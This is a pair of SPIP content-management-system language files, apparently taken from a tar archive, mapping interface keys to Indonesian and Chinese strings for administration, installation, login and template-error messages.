'texte_actualite_site_1' => 'Ketika anda menjadi familiar dengan tatap muka yang ada, kliklah «',
'texte_actualite_site_2' => 'tatap muka lengkap',
'texte_actualite_site_3' => '» untuk fitur-fitur yang lebih banyak.',
'texte_creation_automatique_vignette' => 'Pembuatan otomatis preview gambar kecil diaktifkan di situs ini. Jika anda menginstal, melalui formulir ini, gambar dalam format @gd_formats@, ia akan disandingkan dengan gambar kecil yang berukuran maksimum @taille_preview@ pixels.',
'texte_documents_associes' => 'Dokumen berikut diasosiasikan dengan artikel,
tapi tidak dimasukkan secara langsung.
Sesuai dengan tampilan situs umum,
mereka dapat muncul sebagai lampiran.',
'texte_erreur_mise_niveau_base' => 'Kesalahan database sewaktu pembaharuan.
Gambar <b>@fichier@</B> tidak dapat diteruskan (artikel @id_article@).<p>
Perhatikan dengan seksama referensi ini, ulangi prosedur pembaharuan,
dan pastikan gambar akhirnya muncul
di artikel.',
'texte_erreur_visiteur' => 'Anda telah mencoba memasuki area pribadi dengan log masuk yang tidak sah.',
'texte_inc_auth_1' => 'Anda mengidentifikasikan diri anda dengan log masuk
<b>@auth_login@</B>, tapi tidak dapat ditemukan di database (lagi).
Coba untuk', # MODIF
'texte_inc_auth_2' => 'akses kembali',
'texte_inc_auth_3' => 'keluar, dan
buka kembali browser anda jika perlu.',
'texte_inc_config' => 'Modifikasi yang dibuat di bawah akan mempengaruhi
fungsi situs. Anda dianjurkan untuk tidak melakukannya terkecuali bila anda
telah mengenal sistem SPIP dengan baik. <P align="justify"><b>Biasanya,
pekerjaan ini dapat anda serahkan kepada webmaster yang tentunya
lebih paham SPIP daripada anda.</b>',
'texte_inc_meta_1' => 'Sistem mengalami kesulitan ketika mencoba melakukan penulisan terhadap berkas <code>@fichier@</code>. Sebagai administrator situs, silakan',
'texte_inc_meta_2' => 'verifikasi hak akses tulis',
'texte_inc_meta_3' => 'direktori <code>@repertoire@</code>.',
'texte_statut_en_cours_redaction' => 'pengeditan dalam proses',
'texte_statut_poubelle' => 'dalam keranjang sampah',
'texte_statut_propose_evaluation' => 'dikirim untuk evaluasi',
'texte_statut_publie' => 'dipublikasi online',
'texte_statut_refuse' => 'ditolak',
'titre_ajouter_mot_cle' => 'TAMBAH SEBUAH KATA KUNCI:',
'titre_cadre_raccourcis' => 'JALAN PINTAS:',
'titre_changer_couleur_interface' => 'Mengubah warna tatap muka',
'titre_image_admin_article' => 'Anda dapat mengelola artikel ini',
'titre_image_administrateur' => 'Administrator',
'titre_image_aide' => 'Bantuan pada item ini',
'titre_image_auteur_supprime' => 'Penulis dihapus',
'titre_image_redacteur' => 'Editor tanpa akses',
'titre_image_redacteur_02' => 'Editor',
'titre_image_visiteur' => 'Pengunjung',
'titre_joindre_document' => 'LAMPIRKAN SEBUAH DOKUMEN',
'titre_mots_cles' => 'KATA-KATA KUNCI',
'titre_probleme_technique' => 'Peringatan: sebuah permasalahan teknis (server SQL) telah mengganggu akses ke bagian situs ini.<p>Terima kasih atas pengertian anda.',
'titre_publier_document' => 'PUBLIKASI DOKUMEN DI BAGIAN INI',
'titre_statistiques' => 'Statistik situs',
'titre_titre_document' => 'Judul dokumen:',
'trad_reference' => '(rujuk artikel)', # MODIF
// Z
'zbug_balise_b_aval' => ': tag B terlambat dalam loop',
'zbug_boucle' => 'loop',
'zbug_boucle_recursive_undef' => 'loop rekursif yang tak terdefinisi', # MODIF
'zbug_champ_hors_boucle' => 'Kolom @champ@ di luar loop',
'zbug_champ_hors_motif' => 'Kolom @champ@ di luar loop bertag @motif@', # MODIF
'zbug_code' => 'kode',
'zbug_critere_inconnu' => 'kriteria yang tidak dikenal @critere@', # MODIF
'zbug_distant_interdit' => 'data eksternal dilarang', # MODIF
'zbug_doublon_table_sans_index' => 'ganda dalam sebuah tabel tanpa indeks', # MODIF
'zbug_erreur_boucle_double' => 'BOUCLE@id@: definisi ganda', # MODIF
'zbug_erreur_boucle_fermant' => 'BOUCLE@id@: tag penutup hilang', # MODIF
'zbug_erreur_boucle_syntaxe' => 'Sintaks (BOUCLE) loop yang salah ', # MODIF
'zbug_erreur_compilation' => 'Kesalahan kompilasi',
'zbug_erreur_execution_page' => 'kesalahan dalam kalkulasi halaman', # MODIF
'zbug_erreur_filtre' => 'Kesalahan - filter yang tak terdefinisi: <b>"@filtre@"</b>', # MODIF
'zbug_erreur_meme_parent' => '{meme_parent} hanya berlaku untuk loop (FORUM) and (RUBRIK)', # MODIF
'zbug_erreur_squelette' => 'Kesalahan dalam templat',
'zbug_info_erreur_squelette' => 'ُKesalahan di situs',
'zbug_inversion_ordre_inexistant' => 'susunan yang tidak dikenal', # MODIF
'zbug_pagination_sans_critere' => 'Tag #PAGINATION tanpa kriteria (penomoran halaman), atau digunakan dalam loop rekursif', # MODIF
'zbug_parametres_inclus_incorrects' => 'Parameter-parameter tambahan yang salah', # MODIF
'zbug_profile' => 'Waktu kalkulasi: @time@',
'zbug_resultat' => 'hasil',
'zbug_serveur_indefini' => 'server SQL yang tidak dikenal', # MODIF
'zbug_table_inconnue' => 'Tabel SQL yang tidak dikenal "@table@"',
'zxml_connus_attributs' => 'atribut yang dikenal',
'zxml_de' => 'dari',
'zxml_inconnu_attribut' => 'atribut yang tidak dikenal',
'zxml_inconnu_balise' => 'tag yang tidak dikenal',
'zxml_inconnu_entite' => 'entitas yang tidak dikenal',
'zxml_inconnu_id' => 'ID yang tidak dikenal',
'zxml_mais_de' => 'tapi dari',
'zxml_non_conforme' => 'tidak sesuai dengan prinsipal',
'zxml_non_fils' => 'bukan turunan dari',
'zxml_nonvide_balise' => 'tag tidak kosong',
'zxml_obligatoire_attribut' => 'atribut yang dibutuhkan tidak ditemukan dalam',
'zxml_succession_fils_incorrecte' => 'turunan yang salah',
'zxml_survoler' => 'untuk melihat entri yang benar, cukup letakkan kursor di atasnya',
'zxml_valeur_attribut' => 'nilai atribut',
'zxml_vide_balise' => 'tag kosong',
'zxml_vu' => 'dilihat sebelumnya'
);
?>
ecrire_zh.php 0000666 00000122745 15252547432 0007257 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=zh
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aide_non_disponible' => '这部分在线帮助尚无中文版本.',
'avis_acces_interdit' => '限制访问.',
'avis_article_modifie' => '警告, @nom_auteur_modif@在@date_diff@分钟前修改过此文',
'avis_aucun_resultat' => '没有结果.',
'avis_chemin_invalide_1' => '您所选路径',
'avis_chemin_invalide_2' => '无效. 请返回前页校验提供的信息.',
'avis_connexion_echec_1' => '连接MYSQL服务器失败.', # MODIF
'avis_connexion_echec_2' => '请返回前页校验提供的信息.',
'avis_connexion_echec_3' => '<b>N.B.</b> 在许多服务器上运行时, 使用前您必须<b>请求</b>激活访问MYSQL数据库的权限.如果您无法连接, 请首先检验您是否有效激活该权限.', # MODIF
'avis_connexion_ldap_echec_1' => '连接LDAP服务器失败.',
'avis_connexion_ldap_echec_2' => '返回前页校验您所提供的信息.',
'avis_connexion_ldap_echec_3' => '请勿使用LDAP支持导入用户.',
'avis_deplacement_rubrique' => '注意! 该专栏包含 @contient_breves@ 简要@scb@: 如果您要移动它,请选择该确认框.',
'avis_destinataire_obligatoire' => '发送消息前请选择接收者.',
'avis_erreur_connexion_mysql' => 'SQL连接失败',
'avis_erreur_version_archive' => '<b>注意! 文件 @archive@ 与您已安装的SPIP版本不一致
</b> 您面临一个大问题: 极有可能破坏数据库,
引起站点的各种故障. 请勿提交您的导入请求.
<p>
详细信息,请看 <a href="@spipnet@">
SPIP 文档</a>.', # MODIF
'avis_espace_interdit' => '<b>禁止区</b><p>SPIP已安装.', # MODIF
'avis_lecture_noms_bases_1' => '安装程序无法读取已安装的数据库的名称.',
'avis_lecture_noms_bases_2' => '要么是数据库不可用,要么数据库的允许特性因安全原因被禁止
(这是多主机的的一个例子).',
'avis_lecture_noms_bases_3' => '第二种情况为使用您的用户名登录后的数据库是可用的:',
'avis_non_acces_message' => '您无权查看此消息.',
'avis_non_acces_page' => '您无权查看此页.',
'avis_operation_echec' => '操作失败.',
'avis_probleme_archive' => '读取文件@archive@失败 ',
'avis_suppression_base' => '注意, 数据删除不可挽回',
'avis_version_mysql' => 'SQL (@version_mysql@) 版本不允许数据库表格的自动修复.',
// B
'bouton_acces_ldap' => '添加LDAP访问 >>', # MODIF
'bouton_ajouter' => '添加',
'bouton_ajouter_participant' => '添加参与者:',
'bouton_annonce' => '声明',
'bouton_checkbox_envoi_message' => '可以发消息',
'bouton_checkbox_indiquer_site' => '您必须输入站点的名字',
'bouton_checkbox_signature_unique_email' => '一个邮件地址只能有一个签名',
'bouton_checkbox_signature_unique_site' => '一个站点只能有一个签名',
'bouton_demande_publication' => '请求发表文章',
'bouton_effacer_index' => '删除索引',
'bouton_effacer_tout' => '删除所有',
'bouton_envoi_message_02' => '发消息',
'bouton_envoyer_message' => '最后消息:发送',
'bouton_modifier' => '修改',
'bouton_pense_bete' => '个人备注',
'bouton_radio_activer_messagerie' => '激活内部消息',
'bouton_radio_activer_messagerie_interne' => '激活内部消息',
'bouton_radio_activer_petition' => '激活请求',
'bouton_radio_afficher' => '显示',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => '显示在已连接的编辑者列表中',
'bouton_radio_desactiver_messagerie' => '停用消息',
'bouton_radio_envoi_annonces_adresse' => '发送声明给下列地址:',
'bouton_radio_envoi_liste_nouveautes' => '发送最近新闻列表',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => '不要出现在连接编辑者列表中',
'bouton_radio_non_envoi_annonces_editoriales' => '不发送任何编辑的声明',
'bouton_radio_pas_petition' => '没有请求',
'bouton_radio_petition_activee' => '激活请求',
'bouton_radio_supprimer_petition' => '删除请求',
'bouton_redirection' => '重定向',
'bouton_relancer_installation' => '重新安装',
'bouton_suivant' => '下一步',
'bouton_tenter_recuperation' => '试图修复',
'bouton_test_proxy' => '测试代理',
'bouton_vider_cache' => '清空缓存',
'bouton_voir_message' => '确认前预览',
// C
'cache_mode_compresse' => '缓存中的文件是以压缩方式存储。',
'cache_mode_non_compresse' => '缓存中的文件是以非压缩方式存储。',
'cache_modifiable_webmestre' => '这些参数可以被管理员修改。', # MODIF
'calendrier_synchro' => '如果您使用的日历软件与<b>iCal</b>兼容, 您可以同步站点信息.',
// D
'date_mot_heures' => '时',
// E
'email' => '电子邮件',
'email_2' => '电子邮件:',
'entree_adresse_annuaire' => '目录地址',
'entree_adresse_email' => '您的邮件地址',
'entree_base_donnee_1' => '数据库地址',
'entree_base_donnee_2' => '(该地址经常对应您的站点地址,有时对应 «localhost», 有时可以留空.)',
'entree_biographie' => '自我简介.',
'entree_chemin_acces' => '<b>输入</b> 路径:', # MODIF
'entree_cle_pgp' => '您的PGP钥匙',
'entree_contenu_rubrique' => '(专栏内容简介.)',
'entree_identifiants_connexion' => '您的连接标识符...',
'entree_informations_connexion_ldap' => '请在表单中填入LDAP连接信息. 所有信息应该由系统或网络管理员提供.',
'entree_infos_perso' => '您是谁?',
'entree_interieur_rubrique' => '在专栏内部:',
'entree_liens_sites' => '<b>超链接</b> (访问参考站点...)', # MODIF
'entree_login' => '登录用户名',
'entree_login_connexion_1' => '连接登录',
'entree_login_connexion_2' => '(有时对应您的FTP登录用户名;有时留空)',
'entree_login_ldap' => '初始LDAP登录',
'entree_mot_passe' => '密码',
'entree_mot_passe_1' => '连接密码',
'entree_mot_passe_2' => '(有时对应您的FTP登录用户名;有时留空)',
'entree_nom_fichier' => '请输入文件名 @texte_compresse@:',
'entree_nom_pseudo' => '您的名字或昵称',
'entree_nom_pseudo_1' => '(您的名字或昵称)',
'entree_nom_site' => '站点名',
'entree_nouveau_passe' => '新密码',
'entree_passe_ldap' => '密码',
'entree_port_annuaire' => '目录端口号',
'entree_signature' => '签名',
'entree_titre_obligatoire' => '<b>标题</b> [必需的]<br />', # MODIF
'entree_url' => '站点连接',
// I
'ical_info1' => '该页面提供了几种与本站点保持联系的方法.',
'ical_info2' => '要得到更多的信息, 请访问 <a href="@spipnet@">SPIP 文档</a>.', # MODIF
'ical_info_calendrier' => '在您的配置中有两个日历. 第一个是站点地图,它显示所有已发布的文章. 第二个包含了可编辑的声明,作为您最后的私有消息: 由于您可以随时通过更新密码来更改您的个人钥匙,它总是为您保留的.',
'ical_methode_http' => '下载',
'ical_methode_webcal' => '同步 (webcal://)',
'ical_texte_js' => '一行javascript语句允许在任何您参与的站点显示您在本站最新发表的文章.',
'ical_texte_prive' => '该日历严格限于个人使用, 提醒您在该站点上的个人活动 (任务,个人约会,提交的文章和简要...).',
'ical_texte_public' => '该日历允许您追踪站点的公共活动 (发布的文章和简要).',
'ical_texte_rss' => '您可以用任何XML/RSS(Rich Site Summary)阅读器联合站点的最近新闻以便阅读. XML/RSS同样是允许从其它SPIP站点读取/交换最近新闻的格式.',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => '邮件列表',
'ical_titre_rss' => '«引用»文件', # MODIF
'icone_activer_cookie' => '激活相应cookie',
'icone_afficher_auteurs' => '显示作者',
'icone_afficher_visiteurs' => '显示访问者',
'icone_arret_discussion' => '停止参与该讨论',
'icone_calendrier' => '日历',
'icone_creer_auteur' => '新建一个作者并与该文章关联',
'icone_creer_mot_cle' => '新建一个关键词并与该文章关联',
'icone_creer_rubrique_2' => '新建专栏',
'icone_envoyer_message' => '发送这个消息',
'icone_modifier_article' => '修改文章',
'icone_modifier_message' => '修改消息',
'icone_modifier_rubrique' => '修改此栏',
'icone_retour' => '返回',
'icone_retour_article' => '返回文章',
'icone_supprimer_cookie' => '删除cookie',
'icone_supprimer_rubrique' => '删除此栏',
'icone_supprimer_signature' => '删除签名',
'icone_valider_signature' => '使签名有效',
'image_administrer_rubrique' => '您可以管理该栏',
'info_1_article' => '1篇文章',
'info_1_site' => '1个站点',
'info_activer_cookie' => '您可以激活<b>相应的cookie</b>,以便让您轻松转换公共站点为私私人站点.',
'info_admin_gere_rubriques' => '该管理员管理以下专栏:',
'info_admin_gere_toutes_rubriques' => '该管理员管理 <b>所有专栏</b>.', # MODIF
'info_administrateur' => '管理员',
'info_administrateur_1' => '管理员',
'info_administrateur_2' => '站点 (<i>谨慎使用</i>)',
'info_administrateur_site_01' => '如果您是站点管理员,请',
'info_administrateur_site_02' => '点击链接',
'info_administrateurs' => '管理员',
'info_administrer_rubrique' => '您可以管理该栏',
'info_adresse' => '给地址:',
'info_adresse_url' => '您的公众站点URL地址',
'info_afficher_visites' => '显示访问者:',
'info_aide_en_ligne' => 'SPIP在线帮助',
'info_ajout_image' => '当您添加图像作为文章的附加文档, SPIP 能根据插入的图片自动创建缩略图.
这将允许, 例如, 自动创建
画廊或相册.',
'info_ajout_participant' => '下列参考者已经加入:',
'info_ajouter_rubrique' => '加入其它专栏进行管理:',
'info_annonce_nouveautes' => '最近的新闻声明',
'info_anterieur' => '返回',
'info_article' => '文章',
'info_article_2' => '文章',
'info_article_a_paraitre' => '过期文章发表',
'info_articles_02' => '文章',
'info_articles_2' => '文章',
'info_articles_auteur' => '该作者的文章',
'info_articles_trouves' => '找到的文章',
'info_articles_trouves_dans_texte' => '找到的文章 (文本)',
'info_attente_validation' => '您的文章正在等候确认中',
'info_aujourdhui' => '今天:',
'info_auteur_message' => '消息发送者:',
'info_auteurs' => '作者',
'info_auteurs_par_tri' => '作者 @partri@',
'info_auteurs_trouves' => '找到的作者',
'info_authentification_externe' => '外部验证',
'info_avertissement' => '消息',
'info_base_installee' => '您的数据库已经安装.',
'info_chapeau' => '前言',
'info_chapeau_2' => '前言:',
'info_chemin_acces_1' => '选项: <b>目录的访问路径</b>', # MODIF
'info_chemin_acces_2' => '从现在开始您必须配置目录的访问路径. 这是存在目录中的用户说明文件精要.',
'info_chemin_acces_annuaire' => '选项: <b>目录的访问路径</b>', # MODIF
'info_choix_base' => '第三步:',
'info_classement_1' => '<sup>st</sup> 出了 @liste@',
'info_classement_2' => '<sup>th</sup> 出了 @liste@',
'info_code_acces' => '不要忘记你的访问码!',
'info_config_suivi' => '如果地址对应邮件列表, 你可以简要说明以下地址(从这儿能注册参与). 地址可以是URL (例如通过页面注册), 或通过电子邮件给一个特殊的标题(例如: <tt>@adresse_suivi@?subject=subscribe</tt>):',
'info_config_suivi_explication' => '你可以订阅站点的邮件列表. 随后你将接到自动邮件,关于文章和新闻的声明将提交发表.',
'info_confirmer_passe' => '确认新密码:',
'info_connexion_base' => '第二步: <b>试图连接到数据库</b>', # MODIF
'info_connexion_ldap_ok' => '<b>你的 LDAP 连接成功.</b><p> 你可进行下一步操作.', # MODIF
'info_connexion_mysql' => '第一步: <b>你的 SQL 连接</b>', # MODIF
'info_connexion_ok' => '连接成功.',
'info_contact' => '联系',
'info_contenu_articles' => '文章内容',
'info_creation_paragraphe' => '(新建段落, 只需空一行.)', # MODIF
'info_creation_rubrique' => '在能够发表文章之前,<br /> 您必须创建至少一个专栏.<br />', # MODIF
'info_creation_tables' => '第四步: <b>创建数据库表</b>', # MODIF
'info_creer_base' => '<b>新建</b> 数据库:', # MODIF
'info_dans_rubrique' => '所属专栏:',
'info_date_publication_anterieure' => '更早出版的日期:', # MODIF
'info_date_referencement' => '参考站点日期:',
'info_derniere_etape' => '最后一步: <b>完成了!', # MODIF
'info_derniers_articles_publies' => '你最近出版的文章',
'info_desactiver_messagerie_personnelle' => '你可激活或使站点个人消息不可用.',
'info_descriptif' => '描述:',
'info_discussion_cours' => '讨论进展中',
'info_ecrire_article' => '在能够发表文章之前,您必须建立至少一个专栏.',
'info_email_envoi' => '发送者电子邮件地址 (可选)',
'info_email_envoi_txt' => '输入发送者电子邮件地址,发送电子邮件将用这个地址, 接收者的地址将做为发送者的地址 :',
'info_email_webmestre' => 'Web站点管理员的电子邮件地址 (可选)', # MODIF
'info_entrer_code_alphabet' => '输入要用的字符集:',
'info_envoi_email_automatique' => '自动邮寄',
'info_envoyer_maintenant' => '现在发送',
'info_etape_suivante' => '到下一步',
'info_etape_suivante_1' => '你可移动到下一步.',
'info_etape_suivante_2' => '你可移动到下一步.',
'info_exportation_base' => '导出数据库到 @archive@',
'info_facilite_suivi_activite' => '为减轻站点编辑的跟踪;
活动, SPIP 通过电子邮件发送给编辑的邮件列表作为实例,
公共请求和文章
确认的声明.',
'info_fichiers_authent' => '认证文件 ".htpasswd"',
'info_forums_abo_invites' => '您的网站包含要求注册的公共论坛；所以公共网站的访客将被要求注册。',
'info_gauche_admin_effacer' => '<b>只有管理员才有权访问该页.</b><p> 它提供访问不同的技术维护任务. 其中有些需要特殊认证，必须通过FTP访问站点.', # MODIF
'info_gauche_admin_tech' => '<b>只有管理者才有权访问这页.</b><p> 它提供多种多种
维护任务. 它们有一些需更高的认证
(通过FTP访问站点).', # MODIF
'info_gauche_admin_vider' => '<b>只有管理者才有权访问这页.</b><p> 它提供多种维护任务
. 它们有一些需更高的认证
(通过FTP访问站点).', # MODIF
'info_gauche_auteurs' => '你将找到站点所有的作者.
每一个的状态用路标的颜色标识(作者 = 绿色; 管理员 = 黄色).', # MODIF
'info_gauche_auteurs_exterieurs' => '外部作者用蓝色图标标识, 不能访问站点; 通过垃圾箱删除作者.', # MODIF
'info_gauche_messagerie' => '消息允许你在作者中交换消息, 为保护备忘录(给个人用的) 或在主页私有区上显示声明(如果你是管理者).',
'info_gauche_numero_auteur' => '作者号:',
'info_gauche_statistiques_referers' => '页面显示 <i>引用</i>列表, 例如. 包含你站点的链接, 只有今天: 列表每24小时都要更新.', # MODIF
'info_gauche_visiteurs_enregistres' => '在这儿你将找到在站点公共区
注册的访问者(订阅论坛).',
'info_generation_miniatures_images' => '产生像册',
'info_gerer_trad' => '管理翻译连接?',
'info_hebergeur_desactiver_envoi_email' => '一些主机禁止自动邮件发送
. 这种情况下SPIP的
以下特性不能用.',
'info_hier' => '昨天:',
'info_historique_activer' => '使用修订跟踪功能。',
'info_historique_affiche' => '显示这一版本。',
'info_historique_comparaison' => '比较',
'info_historique_desactiver' => '不使用修订跟踪功能',
'info_historique_texte' => '修订跟踪功能可以保存对一篇文章内容所做的所有的修改，并且显示前后不同版本之间的区别。',
'info_identification_publique' => '你的公开标识...',
'info_image_process' => '点击相关图片选取最佳的标志制作方法.',
'info_image_process2' => '<b>注意</b> <i>如果没有任何图片显示，那么储存您的网站的服务器不支持该工具。如果您希望使用这些功能，请联系您的服务器的技术支持，请他们安装《GD》或者《Imagick》扩展。</i>', # MODIF
'info_informations_personnelles' => '第五步: <b>个人信息</b>', # MODIF
'info_inscription_automatique' => '新编辑自动注册系统',
'info_jeu_caractere' => '站点的字符集',
'info_jours' => '天',
'info_laisser_champs_vides' => '文本框留空)',
'info_langues' => '站点语言',
'info_ldap_ok' => 'LDAP 验证已安装.',
'info_lien_hypertexte' => '超链接:',
'info_liste_redacteurs_connectes' => '列出连接的编辑者',
'info_login_existant' => '这个登录名已经存在.',
'info_login_trop_court' => '登录名太短.',
'info_maximum' => '最大:',
'info_meme_rubrique' => '在同一栏目',
'info_message' => '消息来自',
'info_message_efface' => '删除的消息',
'info_message_en_redaction' => '你的进展中的消息',
'info_message_technique' => '技术消息:',
'info_messagerie_interne' => '内部消息',
'info_mise_a_niveau_base' => 'SQL 数据库升级',
'info_mise_a_niveau_base_2' => '{{警告!}} 你已经安装的SPIP的
版本 {老于} 以前安装的
: 你的数据库有丢失的危险
并且再也不能正常工作.<br />{{重新安装
SPIP 文件.}}', # MODIF
'info_modifier_rubrique' => '修改专栏:',
'info_modifier_titre' => '修改: @titre@',
'info_mon_site_spip' => '我的 SPIP 站点',
'info_mot_sans_groupe' => '(不在组中的关键词...)',
'info_moteur_recherche' => '集成的搜索引擎',
'info_moyenne' => '平均:',
'info_multi_articles' => '使文章的语言菜单可用?',
'info_multi_cet_article' => '文章的语言:',
'info_multi_langues_choisies' => '请在站点中选择以下语言使它们对编辑者可用.
你的站点已经用了如下语言(在顶端列表),它们不能设为未激活.',
'info_multi_rubriques' => '激活专栏中的语言菜单?',
'info_multi_secteurs' => '... 只为站点根目录下的专栏?',
'info_nom' => '名字',
'info_nom_destinataire' => '接收者名字',
'info_nom_site' => '你的站点名',
'info_nombre_articles' => '@nb_articles@ 文章,',
'info_nombre_partcipants' => '讨论的参考者:',
'info_nombre_rubriques' => '专栏@nb_rubriques@,',
'info_nombre_sites' => '@nb_sites@ 站点,',
'info_non_deplacer' => '不要移动...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'SPIP 能定期主动发送站点的最新新闻声明.
(最新发表的文章和新闻).',
'info_non_envoi_liste_nouveautes' => '不能发送新新闻列表',
'info_non_modifiable' => '不能修改',
'info_non_suppression_mot_cle' => '我不想删除关键词.',
'info_notes' => '脚注',
'info_nouveaux_message' => '新消息',
'info_nouvel_article' => '新文章',
'info_nouvelle_traduction' => '新译文:',
'info_numero_article' => '文章号:',
'info_obligatoire_02' => '[必须的]', # MODIF
'info_option_accepter_visiteurs' => '允许公共网站访问者注册。',
'info_option_faire_suivre' => '转寄论坛消息给作者',
'info_option_ne_pas_accepter_visiteurs' => '拒绝公共网站访问者注册。',
'info_options_avancees' => '高级选项',
'info_ortho_activer' => '使用拼写检查功能',
'info_ortho_desactiver' => '不使用拼写检查功能',
'info_ou' => '或...',
'info_page_interdite' => '禁止页',
'info_par_nombre_article' => '(按文章数)', # MODIF
'info_passe_trop_court' => '密码过短.',
'info_passes_identiques' => '两个密码不一致.',
'info_pense_bete_ancien' => '你的旧备忘', # MODIF
'info_plus_cinq_car' => '多于5 字符',
'info_plus_cinq_car_2' => '(多于 5 字符)',
'info_plus_trois_car' => '(多于 3 字符)',
'info_popularite' => '流行: @popularite@; 访问: @visites@',
'info_popularite_4' => '流行: @popularite@; 访问: @visites@',
'info_post_scriptum' => '后记',
'info_post_scriptum_2' => '后记:',
'info_pour' => '为',
'info_preview_admin' => '只有管理员可以预览网站',
'info_preview_comite' => '所有的编辑均可预览网站',
'info_preview_desactive' => '完全关闭预览功能',
'info_preview_texte' => '可以预览整个网站，就像所有的文章和短消息（至少有 « 建议发表 »资格）都被发表了一样。向管理员，编辑开放这一功能，还是不向任何人开放？',
'info_principaux_correspondants' => '你主要的通讯者',
'info_procedez_par_etape' => '请一步步进行下去',
'info_procedure_maj_version' => '升级过程应该适应
SPIP的新版本的数据库运行.',
'info_ps' => 'P.S.', # MODIF
'info_publies' => '你的文章在线出版',
'info_question_accepter_visiteurs' => '如果您的网站骨架设定访问者可以从公共网站注册，而不用到私人空间，请激活如下功能:',
'info_question_inscription_nouveaux_redacteurs' => '你允许新编辑从公共站点注册吗?
如果你愿意, 访问将通过自动表单注册
, 将能访问私有区维护文章
. <blockquote><i>光注册过程中,
用户使用自动电子邮件提供的访问码访问私有站点.
. 一些主机使自动发送不可用,
这样,
自动注册将
不生效.', # MODIF
'info_question_utilisation_moteur_recherche' => '你希望SPIP集成搜索引擎吗?
(使它不可用能加速系统的性能.)',
'info_racine_site' => '站点根',
'info_recharger_page' => '请重新载入该页.',
'info_recherche_auteur_a_affiner' => '太多结果"@cherche_auteur@"; 请重定义搜索.',
'info_recherche_auteur_ok' => '几个编辑者找到了 "@cherche_auteur@":',
'info_recherche_auteur_zero' => '<b> "@cherche_auteur@"没有结果.', # MODIF
'info_recommencer' => '请再试.',
'info_redacteur_1' => 'Rédacteur',
'info_redacteur_2' => '有权访问私有区 (<i>推荐</i>)',
'info_redacteurs' => '编辑者',
'info_redaction_en_cours' => '在编辑中',
'info_redirection' => '重定向',
'info_refuses' => '你的文章被拒',
'info_reglage_ldap' => '选项: <b>调整 LDAP 导入</b>', # MODIF
'info_renvoi_article' => '<b>重定向.</b> 引用该页的文章:', # MODIF
'info_reserve_admin' => '只有管理能改这个地址.',
'info_restreindre_rubrique' => '限制专栏管理:',
'info_resultat_recherche' => '搜索结果:',
'info_rubriques' => '专栏',
'info_rubriques_02' => '专栏',
'info_rubriques_trouvees' => '找到的专栏',
'info_rubriques_trouvees_dans_texte' => '找到的专栏(在文章中)',
'info_sans_titre' => '无标题',
'info_selection_chemin_acces' => '从目录的访问路径<b>选择</b> :',
'info_signatures' => '签名',
'info_site' => '站点',
'info_site_2' => '站点:',
'info_site_min' => '站点',
'info_site_reference_2' => '引用的站点',
'info_site_web' => '站点:', # MODIF
'info_sites' => '站点',
'info_sites_lies_mot' => '与关键词关联的参考站点',
'info_sites_proxy' => '使用代理',
'info_sites_trouves' => '站点找到了',
'info_sites_trouves_dans_texte' => '站点找到了 (在正文)',
'info_sous_titre' => '子标题:',
'info_statut_administrateur' => '管理者',
'info_statut_auteur' => '作者状态:', # MODIF
'info_statut_efface' => '删除',
'info_statut_redacteur' => '编辑者',
'info_statut_utilisateurs_1' => '导入用户的缺省状态',
'info_statut_utilisateurs_2' => 'Choose the status that is attributed to the persons present in the LDAP directory when they connect for the first time. Later, you can modify this value for each author on a case by case basis.',
'info_suivi_activite' => '继续使编辑可用',
'info_surtitre' => '顶标题:',
'info_taille_maximale_vignette' => '系统产生的小插图的最大尺寸:',
'info_terminer_installation' => '现在你可以完成标准安装过程.',
'info_texte' => '正文',
'info_texte_explicatif' => '展开正文',
'info_texte_long' => '(正文太长: 将分几部分显示,确认后能合并在一起.)',
'info_texte_message' => '你的消息正文:', # MODIF
'info_texte_message_02' => '消息正文',
'info_titre' => '标题:',
'info_total' => '所有:',
'info_tous_articles_en_redaction' => '进展中的所有文章',
'info_tous_articles_presents' => '该专栏中所有发表的文章',
'info_tous_les' => '每一个:',
'info_tous_redacteurs' => '对所有编辑者的声明',
'info_tout_site' => '整个站点',
'info_tout_site2' => '该文章尚未译成中文.',
'info_tout_site3' => '文章已经译为本语言,但由参考文章带来一些变动.译文应更新.',
'info_tout_site4' => '该文章已经译为中文并更新.',
'info_tout_site5' => '源文章.',
'info_tout_site6' => '<b>注意 :</b> 这里只显示源文件.
各翻译版本已与源文件相关联,
并以不同的颜色标识当前状态 :',
'info_travail_colaboratif' => '合力工作文章',
'info_un_article' => '一个文章,',
'info_un_site' => '一个站点,',
'info_une_rubrique' => '一个专栏,',
'info_une_rubrique_02' => '1个专栏',
'info_url' => 'URL:', # MODIF
'info_url_site' => '站点 URL:', # MODIF
'info_urlref' => '超链接:',
'info_utilisation_spip' => 'SPIP 准备使用...',
'info_visites_par_mois' => '每月显示:',
'info_visiteur_1' => '访问者',
'info_visiteur_2' => '公共站点',
'info_visiteurs' => '访问者',
'info_visiteurs_02' => '公众站点访问者',
'install_select_langue' => '选择语言并单击 "下一步" 开始安装过程.',
'intem_redacteur' => '编辑',
'item_accepter_inscriptions' => '允许注册',
'item_activer_messages_avertissement' => '激活警告消息',
'item_administrateur_2' => '管理者',
'item_afficher_calendrier' => '在日历中显示',
'item_autoriser_documents_joints' => '认证文章附加的文档',
'item_autoriser_documents_joints_rubriques' => '认证专栏中的文档',
'item_choix_administrateurs' => '管理者',
'item_choix_generation_miniature' => '自动产生像片册.',
'item_choix_non_generation_miniature' => '不产生像片册.',
'item_choix_redacteurs' => '编辑者',
'item_choix_visiteurs' => '公共站点的访问者',
'item_creer_fichiers_authent' => '创建 .htpasswd 文件',
'item_limiter_recherche' => '限制搜索你站点包括的内容',
'item_login' => '登录',
'item_mots_cles_association_articles' => '文章',
'item_mots_cles_association_rubriques' => '相关专栏',
'item_mots_cles_association_sites' => '参与或联合的站点.',
'item_non' => 'No',
'item_non_accepter_inscriptions' => '不允许注册',
'item_non_activer_messages_avertissement' => '没有警告信息',
'item_non_afficher_calendrier' => '在日历中不显示',
'item_non_autoriser_documents_joints' => '不论证文章中文档',
'item_non_autoriser_documents_joints_rubriques' => '不认证专栏中的文档',
